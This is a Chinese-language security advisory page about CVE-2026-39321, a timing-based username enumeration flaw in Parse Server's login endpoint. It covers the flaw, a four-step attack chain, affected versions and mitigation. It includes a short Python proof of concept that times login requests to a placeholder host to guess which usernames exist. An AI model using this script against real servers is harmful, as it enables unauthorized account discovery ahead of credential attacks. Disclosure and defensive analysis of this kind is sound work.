IPBUF安全漏洞报告
English
CVE-2026-39321 CVSS 3.7 低危

CVE-2026-39321 Parse Server用户名枚举漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39321
漏洞类型
用户名枚举
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

用户名枚举时序攻击信息泄露Parse ServerCVE-2026-39321

漏洞概述

Parse Server是一个可部署在任何能运行Node.js基础设施上的开源后端。在9.8.0-alpha.6和8.6.74版本之前,其登录端点存在安全漏洞。由于服务器响应时间取决于提交的用户名或电子邮件是否存在于数据库中,攻击者可以利用这一差异进行攻击。当用户未找到时,服务器立即响应;当用户存在但密码错误时,由于运行bcrypt比较,会显著增加延迟。这种时序差异允许未经身份验证的攻击者枚举有效的用户名。

技术细节

该漏洞的原理基于时序攻击。在受影响的Parse Server版本中,登录逻辑处理用户不存在和密码错误的路径不一致。当请求的用户名在数据库中不存在时,系统快速返回错误,耗时极短。相反,当用户名存在时,系统会执行bcrypt哈希比对。bcrypt算法设计为计算密集型,旨在减缓暴力破解速度,这使得密码比对过程产生可被测量的显著延迟。攻击者通过向登录接口发送大量包含不同用户名的请求,并精确测量响应时间,利用统计学方法区分“用户不存在”的快速响应和“密码错误”的慢速响应。由于无需认证且无需用户交互,攻击者可远程遍历常见用户名,从而确认系统中存在的有效账户。

攻击链分析

STEP 1
信息收集
攻击者确定目标Parse Server的登录接口地址。
STEP 2
枚举探测
攻击者构造包含猜测用户名的登录请求发送给服务器。
STEP 3
时序分析
攻击者测量服务器对每个请求的响应时间。
STEP 4
结果判定
根据响应时间的长短(是否存在bcrypt计算延迟)判断用户名是否有效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Target configuration TARGET_URL = "http://target-server.com/parse/login" USERNAMES = ["admin", "user", "test"] # Function to test timing for a specific username def check_username_timing(username): payload = { "username": username, "password": "random_password_to_trigger_check" } headers = { "Content-Type": "application/json" } start_time = time.time() try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") return 0 end_time = time.time() elapsed_time = end_time - start_time return elapsed_time # Analyze timing for each username for user in USERNAMES: # Run multiple times to get average durations = [] for _ in range(5): duration = check_username_timing(user) if duration > 0: durations.append(duration) time.sleep(0.5) # Small delay between requests if durations: avg_duration = sum(durations) / len(durations) print(f"Username: {user}, Avg Response Time: {avg_duration:.4f}s") # If avg_duration > Threshold (e.g., 0.2s), user likely exists if avg_duration > 0.2: print(f"[+] User '{user}' likely exists (Bcrypt delay detected)") else: print(f"[-] User '{user}' likely does not exist")

影响范围

Parse Server < 9.8.0-alpha.6
Parse Server < 8.6.74

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,可以在应用层引入随机延迟或使用恒定时间比较算法,确保无论用户是否存在,服务器的处理时间保持一致,从而消除时序差异。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表